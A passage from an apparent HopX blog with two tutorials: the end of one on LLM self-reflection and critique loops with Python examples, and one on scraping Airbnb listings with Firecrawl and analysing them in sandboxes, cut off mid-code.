bugs | | While being efficient | Then: Optimize | | While handling edge cases | Then: Check edge cases | ### 3. Explicit Reasoning Reflection forces the model to articulate what's wrong and why. This explicit reasoning often surfaces issues that implicit reasoning misses. ## Basic Reflection Implementation Here's a minimal but complete implementation: ```python import openai from dataclasses import dataclass @dataclass class ReflectionResult: final_output: str iterations: int critiques: list[str] improvements: list[str] class ReflectionAgent: def __init__(self, max_iterations: int = 3): self.client = openai.OpenAI() self.max_iterations = max_iterations def generate(self, task: str) -> ReflectionResult: """Generate with reflection loop""" # Initial generation current_output = self._initial_generate(task) critiques = [] improvements = [] for i in range(self.max_iterations): # Critique the current output critique = self._critique(task, current_output) critiques.append(critique) # Check if good enough if self._is_satisfactory(critique): break # Improve based on critique improved = self._improve(task, current_output, critique) improvements.append(improved) current_output = improved return ReflectionResult( final_output=current_output, iterations=i + 1, critiques=critiques, improvements=improvements ) def _initial_generate(self, task: str) -> str: """First attempt at the task""" response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "user", "content": task }] ) return response.choices[0].message.content def _critique(self, task: str, output: str) -> str: """Critique the current output""" response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": """You are a critical reviewer. Analyze the output for: 1. Correctness - Are there any errors or bugs? 2. Completeness - Does it fully address the task? 3. Quality - Could it be clearer, more efficient, or better structured? 4. Edge cases - Are there scenarios not handled? Be specific and actionable. If the output is excellent, say "APPROVED" and explain why.""" }, { "role": "user", "content": f"Task: {task}\n\nOutput to review:\n{output}" }] ) return response.choices[0].message.content def _is_satisfactory(self, critique: str) -> bool: """Check if the critique indicates approval""" return "APPROVED" in critique.upper() def _improve(self, task: str, current: str, critique: str) -> str: """Improve based on critique""" response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": "Improve the output based on the critique. Address all issues raised." }, { "role": "user", "content": f"""Original task: {task} Current output: {current} Critique: {critique} Please provide an improved version that addresses all the issues.""" }] ) return response.choices[0].message.content # Usage agent = ReflectionAgent(max_iterations=3) result = agent.generate( "Write a Python function to find the longest palindromic substring in a string." ) print(f"Final output after {result.iterations} iterations:") print(result.final_output) ``` ## Reflection Patterns ### Pattern 1: Self-Reflection (Single Model) The same model generates and critiques: ```python def self_reflect(task: str) -> str: # Generate output = generate(task) # Self-critique critique = generate(f"Review this output for issues:\n{output}") # Self-improve if needs_improvement(critique): output = generate(f"Improve this based on feedback:\n{output}\n\nFeedback:\n{critique}") return output ``` **Pros**: Simple, cheap, fast **Cons**: Same blind spots in generation and critique ### Pattern 2: Critic Model (Different Persona) Use different system prompts to create distinct "personas": ```python def critic_reflect(task: str) -> str: # Generator persona output = call_llm( system="You are an expert programmer. Write clean, efficient code.", user=task ) # Critic persona (different mindset) critique = call_llm( system="""You are a senior code reviewer known for finding subtle bugs. You never approve code without thorough analysis. Look for: bugs, edge cases, performance issues, security vulnerabilities.""", user=f"Review this code:\n{output}" ) # Improver persona if not is_approved(critique): output = call_llm( system="You are a developer responding to code review feedback.", user=f"Address this feedback:\n{critique}\n\nOriginal code:\n{output}" ) return output ``` **Pros**: Different perspectives, catches more issues **Cons**: More prompt engineering required ### Pattern 3: Multi-Model Reflection Use different models for generation and critique: ```python def multi_model_reflect(task: str) -> str: # Fast model for generation output = call_llm(model="gpt-4o-mini", prompt=task) # Powerful model for critique critique = call_llm( model="gpt-4o", prompt=f"Carefully review this for correctness:\n{output}" ) # Fast model implements fixes if needs_improvement(critique): output = call_llm( model="gpt-4o-mini", prompt=f"Fix these issues:\n{critique}\n\nCode:\n{output}" ) return output ``` **Pros**: Cost-effective, leverages model strengths **Cons**: More complex orchestration ### Pattern 4: Verified Reflection (with Code Execution) Don't just critique—actually test: ```python from hopx import Sandbox def verified_reflect(task: str) -> str: output = generate_code(task) for attempt in range(3): # Actually run the code sandbox = Sandbox.create(template="code-interpreter") try: sandbox.files.write("/app/solution.py", output) result = sandbox.commands.run("python /app/solution.py") if result.exit_code == 0: # Code runs - but is it correct? verification = verify_output(result.stdout, task) if verification.passed: return output critique = verification.feedback else: critique = f"Code failed with error:\n{result.stderr}" # Improve based on actual execution feedback output = improve_code(output, critique) finally: sandbox.kill() return output ``` **Pros**: Ground truth verification, catches runtime errors **Cons**: Requires sandboxed execution, slower ## Advanced: Structured Reflection For complex tasks, use structured critique formats: ```python import json from pydantic import BaseModel from typing import Literal class CritiqueItem(BaseModel): category: Literal["correctness", "completeness", "efficiency", "style", "security"] severity: Literal["critical", "major", "minor", "suggestion"] description: str location: str # Line number or section suggested_fix: str class StructuredCritique(BaseModel): approved: bool summary: str issues: list[CritiqueItem] def structured_reflect(task: str, output: str) -> StructuredCritique: response = client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": """Analyze the output and provide structured feedback. Return JSON matching this schema: { "approved": boolean, "summary": "overall assessment", "issues": [ { "category": "correctness|completeness|efficiency|style|security", "severity": "critical|major|minor|suggestion", "description": "what's wrong", "location": "where in the code", "suggested_fix": "how to fix it" } ] }""" }, { "role": "user", "content": f"Task: {task}\n\nOutput:\n{output}" }], response_format={"type": "json_object"} ) return StructuredCritique(**json.loads(response.choices[0].message.content)) # Usage with prioritized fixes def reflect_with_priority(task: str) -> str: output = generate(task) for _ in range(3): critique = structured_reflect(task, output) if critique.approved: break # Fix critical issues first critical = [i for i in critique.issues if i.severity == "critical"] major = [i for i in critique.issues if i.severity == "major"] if critical: output = fix_issues(output, critical) elif major: output = fix_issues(output, major) else: break # Only minor issues remain return output ``` ## Real-World Example: Code Generation with Testing Here's a complete example that generates code, writes tests, runs them, and iterates: ```python from hopx import Sandbox import openai import json class TestDrivenReflection: def __init__(self): self.client = openai.OpenAI() def generate_with_tests(self, task: str) -> dict: """Generate code that passes tests""" # Step 1: Generate initial code code = self._generate_code(task) # Step 2: Generate tests tests = self._generate_tests(task, code) # Step 3: Run and iterate for attempt in range(5): result = self._run_tests(code, tests) if result["passed"]: return { "code": code, "tests": tests, "attempts": attempt + 1, "status": "success" } # Reflect and improve code = self._improve_from_failure(task, code, tests, result["error"]) return { "code": code, "tests": tests, "attempts": 5, "status": "max_attempts_reached" } def _generate_code(self, task: str) -> str: response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": "Write clean, well-documented Python code. Include type hints." }, { "role": "user", "content": task }] ) return self._extract_code(response.choices[0].message.content) def _generate_tests(self, task: str, code: str) -> str: response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": """Write pytest tests for this code. Include: - Happy path tests - Edge cases (empty input, large input, invalid input) - Boundary conditions Make tests thorough but not excessive.""" }, { "role": "user", "content": f"Task: {task}\n\nCode:\n```python\n{code}\n```" }] ) return self._extract_code(response.choices[0].message.content) def _run_tests(self, code: str, tests: str) -> dict: sandbox = Sandbox.create(template="code-interpreter") try: # Install pytest sandbox.commands.run("pip install pytest -q") # Write code and tests sandbox.files.write("/app/solution.py", code) sandbox.files.write("/app/test_solution.py", f"from solution import *\n\n{tests}") # Run tests result = sandbox.commands.run("cd /app && python -m pytest test_solution.py -v") return { "passed": result.exit_code == 0, "output": result.stdout, "error": result.stderr if result.exit_code != 0 else None } finally: sandbox.kill() def _improve_from_failure(self, task: str, code: str, tests: str, error: str) -> str: prompt = f"Task: {task}\n\nCurrent code:\n{code}\n\nTests:\n{tests}\n\nTest error:\n{error}\n\nProvide the fixed code only." response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": "The code failed tests. Analyze the error and fix the code. Focus on the specific failure." }, { "role": "user", "content": prompt }] ) return self._extract_code(response.choices[0].message.content) def _extract_code(self, content: str) -> str: if "```python" in content: return content.split("```python")[1].split("```")[0].strip() elif "```" in content: return content.split("```")[1].split("```")[0].strip() return content.strip() # Usage agent = TestDrivenReflection() result = agent.generate_with_tests( "Write a function `merge_sorted_lists(list1, list2)` that merges two sorted lists into one sorted list." ) print(f"Status: {result['status']}") print(f"Attempts: {result['attempts']}") print(f"\nFinal code:\n{result['code']}") ``` ## Reflection for Different Tasks ### Writing Tasks ```python def reflect_on_writing(draft: str, requirements: str) -> str: critique_prompt = f"""Review this writing for: 1. Clarity - Is it easy to understand? 2. Accuracy - Are all facts correct? 3. Completeness - Does it cover all requirements? 4. Tone - Is it appropriate for the audience? 5. Structure - Is it well-organized? 6. Grammar - Any errors? Requirements: {requirements} Draft: {draft}""" critique = generate(critique_prompt) if needs_revision(critique): improved = generate(f"Revise based on this feedback:\n{critique}\n\nDraft:\n{draft}") return improved return draft ``` ### Data Analysis ```python def reflect_on_analysis(analysis: str, data_description: str) -> str: critique_prompt = f"""Review this data analysis for: 1. Statistical validity - Are methods appropriate? 2. Interpretation - Are conclusions supported by data? 3. Completeness - Are there unexplored angles? 4. Clarity - Would a non-expert understand? 5. Visualization - Are charts appropriate and clear? Data: {data_description} Analysis: {analysis}""" critique = generate(critique_prompt) # ... improve based on critique ``` ### Decision Making ```python def reflect_on_decision(decision: str, context: str) -> str: critique_prompt = f"""Play devil's advocate on this decision: 1. What could go wrong? 2. What alternatives weren't considered? 3. What assumptions might be wrong? 4. Who might be negatively affected? 5. What's the worst-case scenario? Context: {context} Proposed decision: {decision}""" critique = generate(critique_prompt) # Generate balanced view balanced = generate(f""" Given this decision and critique, provide a balanced recommendation. Decision: {decision} Critique: {critique} Should we proceed, modify, or reconsider?""") return balanced ``` ## When NOT to Use Reflection Reflection isn't always worth the cost: | Skip Reflection When | Why | |---------------------|-----| | Simple factual queries | "What's the capital of France?" doesn't need review | | Time-critical responses | Latency matters more than perfection | | Creative brainstorming | Critique can kill creativity | | The task is trivial | Overhead exceeds benefit | | You're already using CoT | Chain-of-thought includes implicit reflection | ### Cost Consideration Reflection typically 2-3x your token usage: ``` Without reflection: 1 LLM call With 2 iterations: 5 LLM calls (generate + critique + improve + critique + improve) ``` Use reflection when quality matters more than cost. ## Optimizing Reflection ### 1. Early Exit Stop as soon as output is good enough: ```python def optimized_reflect(task: str) -> str: output = generate(task) # Quick check - is it obviously good? quick_check = generate(f"Rate this output 1-10:\n{output}") if int(quick_check) >= 9: return output # Skip detailed critique # Full critique only if needed critique = detailed_critique(output) # ... ``` ### 2. Targeted Critique Don't critique everything—focus on what matters: ```python def targeted_critique(task: str, output: str) -> str: # Determine what's important for this task if "code" in task.lower(): focus = "correctness, edge cases, efficiency" elif "write" in task.lower(): focus = "clarity, accuracy, engagement" else: focus = "relevance, completeness" return generate(f"Critique focusing on {focus}:\n{output}") ``` ### 3. Parallel Critique Run multiple critiques in parallel: ```python import concurrent.futures def parallel_critique(output: str) -> list[str]: aspects = [ "correctness and bugs", "performance and efficiency", "readability and style", "security vulnerabilities" ] with concurrent.futures.ThreadPoolExecutor() as executor: futures = [ executor.submit(critique_aspect, output, aspect) for aspect in aspects ] return [f.result() for f in futures] ``` ## Measuring Reflection Effectiveness Track these metrics: ```python @dataclass class ReflectionMetrics: initial_score: float # Quality before reflection final_score: float # Quality after reflection iterations_used: int # How many loops tokens_used: int # Cost time_taken: float # Latency @property def improvement(self) -> float: return (self.final_score - self.initial_score) / self.initial_score @property def efficiency(self) -> float: return self.improvement / self.tokens_used ``` If reflection isn't improving outputs by at least 15-20%, reconsider your critique prompts. ## Conclusion Reflection is one of the highest-impact patterns you can add to AI systems: - **Simple to implement** — Just add a critique step - **Significant quality gains** — 20-50% improvement is common - **Works everywhere** — Code, writing, analysis, decisions - **Compounds with other patterns** — Combine with [prompt chaining](/blog/ai-agents/prompt-chaining-sequential-ai-workflows) for even better results Start with basic self-reflection. Add verified reflection (with code execution) for code tasks. Measure the improvement, and tune your critique prompts. The AI that reviews its work beats the AI that doesn't. Every time. --- Ready to add verified reflection with code execution? [Get started with HopX](https://console.hopx.ai) — sandboxes that let you test AI-generated code safely. ## Further Reading - [What Is an AI Agent?](/blog/ai-agents/what-is-an-ai-agent) — The fundamentals of agentic systems - [Prompt Chaining](/blog/ai-agents/prompt-chaining-sequential-ai-workflows) — Combine with reflection for powerful pipelines - [Multi-Agent Architectures](/blog/deep-dives/multi-agent-architectures-with-hopx) — Use separate agents for generation and critique - [Reflexion Paper](https://arxiv.org/abs/2303.11366) — Academic foundation for reflection in LLMs --- ## Scrape and Analyze Airbnb Data with Firecrawl and HopX URL: https://hopx.ai/blog/tutorials/scrape-analyze-airbnb-data-firecrawl/ Category: Tutorials Published: 2025-11-26 # Scrape and Analyze Airbnb Data with Firecrawl and HopX Web scraping is messy. JavaScript-rendered pages, anti-bot measures, rate limits, and unpredictable HTML structures make it a constant battle. Firecrawl solves the extraction problem—it handles JavaScript rendering, converts pages to clean markdown or structured data, and manages rate limits. But once you have the data, you need somewhere safe to process it. This tutorial shows how to build a complete pipeline: scrape Airbnb listing data with Firecrawl, then analyze it in isolated HopX sandboxes. ## Why This Architecture? ``` ┌────────────────────────────────────────────────────────────────┐ │ Your Application │ └────────────────────────────────────────────────────────────────┘ │ ┌──────────────────┴──────────────────┐ │ │ ▼ ▼ ┌───────────────────────┐ ┌───────────────────────────┐ │ Firecrawl │ │ HopX Sandbox │ │ │ │ │ │ • JS rendering │ │ • Secure code execution │ │ • Anti-bot bypass │ │ • Data processing │ │ • Clean extraction │ │ • Feature engineering │ │ • Rate limiting │ │ • Analysis & ML │ └───────────────────────┘ └───────────────────────────┘ │ │ └──────────────────┬──────────────────┘ │ ▼ Processed, analyzed data ``` **Why not process data locally?** - Scraped data can contain malicious payloads - Dynamic code (eval-based transformations) needs isolation - Reproducible environments for consistent results - Scale processing without affecting your main system ## Prerequisites ```bash pip install firecrawl-py hopx-ai pandas ``` Set your API keys: ```bash export FIRECRAWL_API_KEY="fc-..." export HOPX_API_KEY="..." ``` ## Step 1: Scrape Airbnb Listings with Firecrawl First, let's extract listing data. Firecrawl handles the JavaScript rendering and returns clean, structured content: ```python from firecrawl import FirecrawlApp import json # Initialize Firecrawl firecrawl = FirecrawlApp(api_key="your-firecrawl-key") def scrape_airbnb_search(location: str, checkin: str, checkout: str) -> dict: """Scrape Airbnb search results for a location.""" # Build search URL url = f"https://www.airbnb.com/s/{location}/homes" params = f"?checkin={checkin}&checkout={checkout}" # Scrape with Firecrawl result = firecrawl.scrape_url( url + params, params={ "formats": ["markdown", "extract"], "extract": { "schema": { "type": "object", "properties": { "listings": { "type": "array", "items": { "type": "object", "properties": { "title": {"type": "string"}, "price_per_night": {"type": "string"}, "rating": {"type": "string"}, "reviews_count": {"type": "string"}, "property_type": {"type": "string"}, "bedrooms": {"type": "string"}, "amenities": {"type": "array", "items": {"type": "string"}} } } } } } } } ) return result # Scrape multiple locations locations = ["new-york", "san-francisco", "miami"] all_listings = [] for location in locations: print(f"Scraping {location}...") data = scrape_airbnb_search(location, "2025-02-01", "2025-02-07") if data.get("extract", {}).get("listings"): for listing in data["extract"]["listings"]: listing["location"] = location all_listings.append(listing) print(f"Scraped {len(all_listings)} listings") ``` ## Step 2: Process Data in HopX Sandbox Now let's clean and transform the scraped data in an isolated environment: ```python from hopx import Sandbox import json def process_listings_in_sandbox(raw_listings: list) -> dict: """Clean and process listing data in isolated sandbox.""" sandbox = Sandbox.create(template="code-interpreter") try: # Upload raw data to sandbox sandbox.files.write("/app/raw_listings.json", json.dumps(raw_listings)) # Data cleaning and feature engineering code processing_code = ''' import pandas as pd import json import re # Load raw data with open("/app/raw_listings.json") as f: raw_data = json.load(f) df = pd.DataFrame(raw_data) # Clean price column def clean_price(price_str): if not price_str: return None # Extract numeric value match = re.search(r"[\d,]+", str(price_str).replace(",", "")) return float(match.group()) if match else None df["price_clean"] = df["price_per_night"].apply(clean_price) # Clean rating def clean_rating(rating_str): if not rating_str: return None match = re.search(r"(\d+\.?\d*)", str(rating_str)) return float(match.group()) if match else None df["rating_clean"] = df["rating"].apply(clean_rating) # Clean reviews count def clean_reviews(reviews_str): if not reviews_str: return 0 match = re.search(r"(\d+)", str(reviews_str).replace(",", "")) return int(match.group()) if match else 0 df["reviews_clean"] = df["reviews_count"].apply(clean_reviews) # Extract bedrooms as integer def extract_bedrooms(bedroom_str): if not bedroom_str: return None match = re.search(r"(\d+)", str(bedroom_str)) return int(match.group()) if match else None df["bedrooms_clean"] = df["bedrooms"].apply(extract_bedrooms) # Feature engineering df["price_per_bedroom"] = df.apply( lambda x: x["price_clean"] / x["bedrooms_clean"] if x["bedrooms_clean"] and x["bedrooms_clean"] > 0 else None, axis=1 ) df["is_highly_rated"] = df["rating_clean"] >= 4.8 df["is_popular"] = df["reviews_clean"] >= 50 # Calculate value score (lower price + higher rating = better value) df["value_score"] = df.apply( lambda x: (x["rating_clean"] or 0) / (x["price_clean"] or 1) * 100 if x["price_clean"] and x["price_clean"] > 0 else 0, axis=1 ) # Summary statistics summary = { "total_listings": len(df), "avg_price": df["price_clean"].mean(), "avg_rating": df["rating_clean"].mean(), "price_by_location": df.groupby("location")["price_clean"].mean().to_dict(), "rating_by_location": df.groupby("location")["rating_clean"].mean().to_dict(), "top_value_listings": df.nlargest(5, "value_score")[ ["title", "location", "price_clean", "rating_clean", "value_score"] ].to_dict("records") } # Save processed data df.to_csv("/app/processed_listings.csv", index=False) # Output summary print(json.dumps(summary, indent=2, default=str)) ''' # Execute processing result = sandbox.runCode(processing_code, language="python", timeout=60) if result.exitCode != 0: raise Exception(f"Processing failed: {result.stderr}") # Parse summary from stdout summary = json.loads(result.stdout) # Download processed CSV processed_csv = sandbox.files.read("/app/processed_listings.csv") return { "summary": summary, "processed_data": processed_csv } finally: sandbox.kill() # Process the scraped data results = process_listings_in_sandbox(all_listings) print(json.dumps(results["summary"], indent=2)) ``` ## Step 3: Advanced Analysis with Visualization Generate insights and visualizations: ```python from hopx import Sandbox import json import base64 def analyze_and_visualize(processed_csv: str) -> dict: """Run advanced analysis and create visualizations.""" sandbox = Sandbox.create(template="code-interpreter") try: # Upload processed data sandbox.files.write("/app/listings.csv", processed_csv) analysis_code = ''' import pandas as pd import matplotlib.pyplot as plt import seaborn as sns import json # Set style plt.style.use("seaborn-v0_8-whitegrid") sns.set_palette("husl") # Load data df = pd.read_csv("/app/listings.csv") # Create figure with subplots fig, axes = plt.subplots(2, 2, figsize=(14, 10)) # 1. Price distribution by location ax1 = axes[0, 0] df.boxplot(column="price_clean", by="location", ax=ax1) ax1.set_title("Price Distribution by Location") ax1.set_xlabel("Location") ax1.set_ylabel("Price per Night ($)") plt.suptitle("") # 2. Rating vs Price scatter ax2 = axes[0, 1] for location in df["location"].unique(): loc_data = df[df["location"] == location] ax2.scatter( loc_data["price_clean"], loc_data["rating_clean"], label=location, alpha=0.6 ) ax2.set_xlabel("Price per Night ($)") ax2.set_ylabel("Rating") ax2.set_title("Price vs Rating by Location") ax2.legend() # 3. Average price by bedrooms ax3 = axes[1, 0] bedroom_prices = df.groupby("bedrooms_clean")["price_clean"].mean().dropna() bedroom_prices.plot(kind="bar", ax=ax3, color="steelblue") ax3.set_title("Average Price by Bedroom Count") ax3.set_xlabel("Bedrooms") ax3.set_ylabel("Average Price ($)") ax3.tick_params(axis="x", rotation=0) # 4. Value score distribution ax4 = axes[1, 1] df["value_score"].hist(bins=20, ax=ax4, color="coral", edgecolor="black") ax4.set_title("Value Score Distribution") ax4.set_xlabel("Value Score") ax4.set_ylabel("Count") ax4.axvline(df["value_score"].median(), color="red", linestyle="--", label="Median") ax4.legend() plt.tight_layout() plt.savefig("/app/analysis.png", dpi=150, bbox_inches="tight") plt.close() # Statistical analysis analysis = { "correlation_price_rating": df["price_clean"].corr(df["rating_clean"]), "price_stats": { "mean": df["price_clean"].mean(), "median": df["price_clean"].median(), "std": df["price_clean"].std(), "min": df["price_clean"].min(), "max": df["price_clean"].max() }, "rating_stats": { "mean": df["rating_clean"].mean(), "median": df["rating_clean"].median(), "std": df["rating_clean"].std() }, "best_value_by_location": df.loc[ df.groupby("location")["value_score"].idxmax() ][["location", "title", "price_clean", "rating_clean", "value_score"]].to_dict("records"), "listings_above_4_5_rating": len(df[df["rating_clean"] >= 4.5]), "listings_under_100": len(df[df["price_clean"] < 100]) } print(json.dumps(analysis, indent=2, default=str)) ''' result = sandbox.runCode(analysis_code, language="python", timeout=120) if result.exitCode != 0: raise Exception(f"Analysis failed: {result.stderr}") analysis = json.loads(result.stdout) # Download visualization chart_bytes = sandbox.files.read("/app/analysis.png") chart_b64 = base64.b64encode(chart_bytes).decode() return { "analysis": analysis, "chart_base64": chart_b64 } finally: sandbox.kill() # Run analysis viz_results = analyze_and_visualize(results["processed_data"]) print(json.dumps(viz_results["analysis"], indent=2)) # Save chart locally import base64 with open("airbnb_analysis.png", "wb") as f: f.write(base64.b64decode(viz_results["chart_base64"])) print("Chart saved to airbnb_analysis.png") ``` ## Step 4: Feature Engineering Pipeline For machine learning tasks, create a reusable feature engineering pipeline: ```python from hopx import Sandbox import json def create_ml_features(listings_csv: str) -> str: """Create ML-ready features from listing data.""" sandbox = Sandbox.create(template="code-interpreter") try: sandbox.files.write("/app/listings.csv", listings_csv) feature_code = ''' import pandas as pd import numpy as np from sklearn.preprocessing import LabelEncoder, StandardScaler import json df = pd.read_csv("/app/listings.csv") # ============================================ # Feature Engineering # ============================================ # 1. Location encoding le_location = LabelEncoder() df["location_encoded"] = le_location.fit_transform(df["location"]) # 2. Property type encoding (if exists) if "property_type" in df.columns: le_property = LabelEncoder() df["property_type_encoded"] = le_property.fit_transform( df["property_type"].fillna("Unknown") ) # 3. Amenities features (count and specific flags) if "amenities" in df.columns: # Parse amenities if stored as string def parse_amenities(x): if pd.isna(x): return [] if isinstance(x, str): try: return json.loads(x.replace("'", '"')) except: return x.split(",") return x df["amenities_parsed"] = df["amenities"].apply(parse_amenities) df["amenity_count"] = df["amenities_parsed"].apply(len) # Flag specific high-value amenities high_value_amenities = ["wifi", "pool", "parking", "kitchen", "washer", "ac", "air conditioning"] for amenity in high_value_amenities: df[f"has_{amenity.replace(' ', '_')}"] = df["amenities_parsed"].apply( lambda x: any(amenity.lower() in str(a).lower() for a in x) if x else False ).astype(int) # 4. Price features df["price_log"] = np.log1p(df["price_clean"]) df["price_squared"] = df["price_clean"] ** 2 # Price relative to location average location_avg_price = df.groupby("location")["price_clean"].transform("mean") df["price_vs_location_avg"] = df["price_clean"] / location_avg_price # 5. Rating features df["rating_missing"] = df["rating_clean"].isna().astype(int) df["rating_filled"] = df["rating_clean"].fillna(df["rating_clean"].median()) # High performer flags df["is_superhost_quality"] = ( (df["rating_clean"] >= 4.8) & (df["reviews_clean"] >= 10) ).astype(int) # 6. Review features df["reviews_log"] = np.log1p(df["reviews_clean"]) df["has_reviews"] = (df["reviews_clean"] > 0).astype(int) # Reviews relative to location location_avg_reviews = df.groupby("location")["reviews_clean"].transform("mean") df["reviews_vs_location_avg"] = df["reviews_clean"] / (location_avg_reviews + 1) # 7. Bedroom features df["bedrooms_filled"] = df["bedrooms_clean"].fillna(1) df["is_studio"] = (df["bedrooms_clean"] == 0).astype(int) df["is_large"] = (df["bedrooms_clean"] >= 3).astype(int) # 8. Interaction features df["price_rating_interaction"] = df["price_clean"] * df["rating_filled"] df["bedrooms_price_interaction"] = df["bedrooms_filled"] * df["price_clean"] # 9. Normalized features scaler = StandardScaler() numeric_cols = ["price_clean", "rating_filled", "reviews_clean", "bedrooms_filled"] for col in numeric_cols: if col in df.columns: df[f"{col}_normalized"] = scaler.fit_transform(df[[col]].fillna(0)) # Select final feature columns feature_columns = [ "location_encoded", "price_log", "price_squared", "price_vs_location_avg", "rating_filled", "rating_missing", "reviews_log", "has_reviews", "reviews_vs_location_avg", "bedrooms_filled", "is_studio", "is_large", "price_rating_interaction", "bedrooms_price_interaction", "is_superhost_quality", "amenity_count" ] + [col for col in df.columns if col.startswith("has_")] # Keep only features that exist feature_columns = [col for col in feature_columns if col in df.columns] # Create feature matrix features_df = df[feature_columns + ["title", "location", "price_clean"]] # Save features_df.to_csv("/app/ml_features.csv", index=False) # Summary summary = { "total_features": len(feature_columns), "feature_names": feature_columns, "sample_size": len(features_df), "missing_values": features_df[feature_columns].isna().sum().to_dict() } print(json.dumps(summary, indent=2)) ''' result = sandbox.runCode(feature_code, language="python", timeout=120) if result.exitCode != 0: raise Exception(f"Feature engineering failed: {result.stderr}") print("Feature engineering complete:") print(result.stdout) # Return the feature CSV return sandbox.files.read("/app/ml_features.csv") finally: sandbox.kill() # Create ML features ml_features = create_ml_features(results["processed_data"]) ``` ## Step 5: Complete Pipeline Class Here's a production-ready pipeline class: ```python from firecrawl import FirecrawlApp from hopx import Sandbox from typing import List, Dict, Optional import json import time class AirbnbScrapingPipeline: """Complete pipeline for scraping and analyzing Airbnb data.""" def __init__(self, firecrawl_key: str, hopx_key: str): self.firecrawl = FirecrawlApp(api_key=firecrawl_key) self.hopx_key = hopx_key self.sandbox: Optional[Sandbox] = None def scrape_location( self, location: str, checkin: str, checkout: str, max_pages: int = 1 ) -> List[Dict]: """Scrape listings for a location.""" listings = [] for page in range(max_pages): url = f"https://www.airbnb.com/s/{location}/homes" params = f"?checkin={checkin}&checkout={checkout}" if page > 0: params += f"&items_offset={page * 20}" try: result = self.firecrawl.scrape_url( url + params, params={ "formats": ["extract"], "extract": { "schema": { "type": "object", "properties": { "listings": { "type": "array", "items": { "type": "object", "properties": { "title": {"type": "string"}, "price_per_night": {"type": "string"}, "rating": {"type": "string"}, "reviews_count": {"type": "string"}, "property_type": {"type": "string"}, "bedrooms": {"type": "string"}, "amenities": { "type": "array", "items": {"type": "string"} } } } } } } }, "waitFor": 3000 # Wait for JS rendering } ) page_listings = result.get("extract", {}).get("listings", []) for listing in page_listings: listing["location"] = location listing["scraped_at"] = time.strftime("%Y-%m-%d %H:%M:%S") listings.extend(page_listings) print(f" Page {page + 1}: {len(page_listings)} listings") # Rate limiting time.sleep(2) except Exception as e: print(f" Error on page {page + 1}: {e}") continue return listings def get_sandbox(self) -> Sandbox: """Get or create persistent sandbox.""" if self.sandbox is None: self.sandbox = Sandbox.create( template="code-interpreter", ttl=600 # 10 minute TTL ) return self.sandbox def process_data(self, raw_listings: List[Dict]) -> Dict: """Clean and process raw listings.""" sandbox = self.get_sandbox() sandbox.files.write( "/app/raw_data.json", json.dumps(raw_listings) ) code = ''' import pandas as pd import json import re with open("/app/raw_data.json") as f: data = json.load(f) df = pd.DataFrame(data) # Cleaning functions def clean_price(x): if not x: return None m = re.search(r"[\d,]+", str(x).replace(",", "")) return float(m.group()) if m else None def clean_rating(x): if not x: return None m = re.search(r"(\d+\.?\d*)", str(x)) return float(m.group()) if m else None def clean_int(x): if not x: return None m = re.search(r"(\d+)", str(x).replace(",", "")) return int(m.group()) if m else None # Apply cleaning df["price"] = df["price_per_night"].apply(clean_price) df["rating"] = df["rating"].apply(clean_rating) df["reviews"] = df["reviews_count"].apply(clean_int) df["bedrooms"] = df["bedrooms"].apply(clean_int) # Derived features df["value_score"] = df.apply( lambda x: (x["rating"] or 0) / (x["price"] or 1) * 100 if x["price"] and x["price"] > 0 else 0, axis=1 ) # Save processed df.to_csv("/app/processed.csv", index=False) # Stats stats = { "count": len(df), "locations": df["location"].nunique(), "avg_price": round(df["price"].mean(), 2), "avg_rating": round(df["rating"].mean(), 2), "price_range": [df["price"].min(), df["price"].max()] } print(json.dumps(stats)) ''' result = sandbox.runCode(code, language="python", timeout=60) if result.exitCode != 0: raise Exception(f"Processing failed: {result.stderr}") return json.loads(result.stdout) def analyze(self) -> Dict: """Run analysis on processed data.""" sandbox = self.get_sandbox() code = ''' import pandas as pd import json df = pd.read_csv("/app/processed.csv") analysis = { "by_location": df.groupby("location").agg({ "price": ["mean", "median", "count"], "rating": "mean" }).round(2).to_dict(), "top_value": df.nlargest(10, "value_score")[ ["title", "location", "price", "rating", "value_score"] ].to_dict("records"), "price_segments": { "budget": len(df[df["price"] < 100]), "mid": len(df[(df["price"] >= 100) & (df["price"] < 250)]), "premium": len(df[df["price"] >= 250]) }, "correlations": { "price_rating": round(df["price"].corr(df["rating"]), 3), "price_reviews": round(df["price"].corr(df["reviews"]), 3) } } print(json.dumps(analysis, indent=2, default=str)) ''' result = sandbox.runCode(code, language="python", timeout=60) if result.exitCode != 0: raise Exception(f"Analysis failed: {result.stderr}") return json.loads(result.stdout) def export_csv(self) -> str: """Export processed data as CSV.""" sandbox = self.get_sandbox() return sandbox.files.read("/app/processed.csv") def cleanup(self): """Destroy sandbox.""" if self.sandbox: self.sandbox.kill() self.sandbox = None # Usage if __name__ == "__main__": import os pipeline = AirbnbScrapingPipeline( firecrawl_key=os.environ["FIRECRAWL_API_KEY"], hopx_key=os.environ["HOPX_API_KEY"] ) try: # Scrape multiple locations all_listings = [] for location in ["new-york", "los-angeles", "chicago"]: print(f"Scraping {location}...") listings = pipeline.scrape_location( location, checkin="2025-03-01", checkout="2025-03-07" ) all_listings.extend(listings) print(f"\nTotal listings: {len(all_listings)}") # Process print("\nProcessing data...") stats = pipeline.process_data(all_listings) print(f"Stats: {stats}") # Analyze print("\nAnalyzing...") analysis = pipeline.analyze() print(json.dumps(analysis, indent=2)) # Export csv_data = pipeline.export_csv() with open("airbnb_listings.csv", "w") as f: f.write(csv_data) print("\nExported to airbnb_listings.csv") finally: pipeline.cleanup() ``` ## Alternative: Using Crawl4AI If you prefer open-source tools, Crawl4AI is a great alternative: ```python from crawl4ai import AsyncWebCrawler from hopx import Sandbox import asyncio import json async def scrape_with_crawl4ai(urls: list) -> list: """Scrape URLs using Crawl4AI.""" results = [] async with AsyncWebCrawler(verbose=True) as crawler: for url in urls: result = await crawler.arun( url=url, extraction_strategy="LLMExtractionStrategy", extraction_config={ "schema": { "listings": [{ "title": "string", "price": "string", "rating": "string" }] } } ) if result.success: results.append(result.extracted_content) return results # Run scraping urls = [ "https://www.airbnb.com/s/new-york/homes", "https://www.airbnb.com/s/miami/homes" ] scraped = 